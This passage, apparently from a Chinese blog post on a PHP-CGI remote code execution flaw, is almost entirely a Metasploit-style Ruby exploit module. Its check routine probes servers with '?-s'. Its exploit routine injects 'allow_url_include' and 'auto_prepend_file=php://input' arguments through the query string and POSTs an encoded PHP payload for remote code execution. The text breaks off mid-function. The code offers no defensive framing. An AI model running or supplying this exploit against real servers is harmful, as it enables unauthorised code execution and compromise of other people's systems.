CGI远程任意代码执行漏洞(2)

register_options([
            OptString.new('TARGETURI', [false, "The URI to request"]),
            ], self.class)
    end

# php-cgi -h
    # ...
    #   -s               Display colour syntax highlighted source.
    def check
        uri = target_uri.path
        if(uri and ! uri.empty?)
            uri.gsub!(/\?.*/, "")

print_status("Checking uri #{uri}")

response = send_request_raw({ 'uri' => uri })

if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
                print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
                return Exploit::CheckCode::Unknown
            end

response = send_request_raw({ 'uri' => uri + '?-s'})
            if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
                return Exploit::CheckCode::Vulnerable
            end

print_error("Server responded indicating it was not vulnerable")
            return Exploit::CheckCode::Safe
        else
            return Exploit::CheckCode::Unknown
        end
    end

def exploit
        #sleep 100
        begin
            php_trues  = [ "1", "on", "true" ]
            php_falses = [ "0", "off", "false" ]
            args = [
                "-d+allow_url_include%3d#{rand_php_ini_true}",
                "-d+auto_prepend_file%3dphp://input",
            ]

qs = args.join("+")
            uri = "#{target_uri}?#{qs}"
            p uri

# Has to be all on one line, so gsub out the comments and the newlines
            payload_oneline = "<?php " +payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
            response = send_request_cgi( {
                'method' => "POST",
                'global' => true,
                'uri'    => uri,
                'data'   => payload_oneline,
            }, 0.1)
            handler